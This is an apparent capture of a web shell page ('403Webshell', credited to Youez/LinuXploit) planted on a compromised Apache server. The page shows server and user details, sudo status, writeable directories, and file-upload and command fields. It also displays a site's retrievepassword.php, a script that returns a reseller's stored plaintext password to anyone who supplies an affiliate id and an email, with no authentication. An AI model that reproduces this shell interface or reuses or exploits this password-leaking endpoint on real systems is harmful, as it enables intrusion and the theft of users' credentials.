403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/pcisecureform.com/lcapi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/pcisecureform.com/lcapi/retrievepassword.php
<?
require_once($_SERVER['DOCUMENT_ROOT'].'/php/db_config_lc_user.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/ez_sql/shared/ez_sql_core.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/ez_sql/mysql/ez_sql_mysql.php'); 
require_once($_SERVER['DOCUMENT_ROOT'].'/lcapi/inc/Logger.php');

$db_user 		= constant('user'); 
$db_password 	= constant('password');
$db_host 		= constant('host');

$db = new ezSQL_mysql($db_user, $db_password, /*database*/'', $db_host); 
//$db->debug_all = false;
//$db->show_errors(); 

$site = (isset($_REQUEST['aff_id']) && $_REQUEST['aff_id'] != '') ? "lc2".preg_replace('/[^a-zA-Z0-9]/','',$_REQUEST['aff_id'])."_lc" : '';  
$email = (isset($_REQUEST['email']) && $_REQUEST['email'] != '') ? htmlspecialchars($_REQUEST['email']) : '';  

//Which database are we using
SendDebug(__FILE__);
if($site != '') {
	if(!$db->connect($db_user,$db_password,$db_host)) {
		SendError(__FILE__." at line ".__LINE__,$db->error());
		die("Failure");  
	} else if(!$db->select($site)) {
		SendError(__FILE__." at line ".__LINE__,$db->error());
		die("Failure");  
	}
} else {
	SendError(__FILE__." at line ".__LINE__,'Invalid affiliate id');
	die("Failure: Invalid affiliate id");  
}

if (strcmp($email,"")==0) {
	SendError(__FILE__." at line ".__LINE__,'No email passed');
	die("Failure: No email passed");
}

$result = $db->get_results("SELECT password FROM lc_reseller WHERE email='".$db->clean($email)."' LIMIT 1;");
if (strcmp($result[0]->password,"")==0) {
	die("Failure");
} else {
	die("Success:".$result[0]->password);
}

Youez - 2016 - github.com/yon3zu
LinuXploit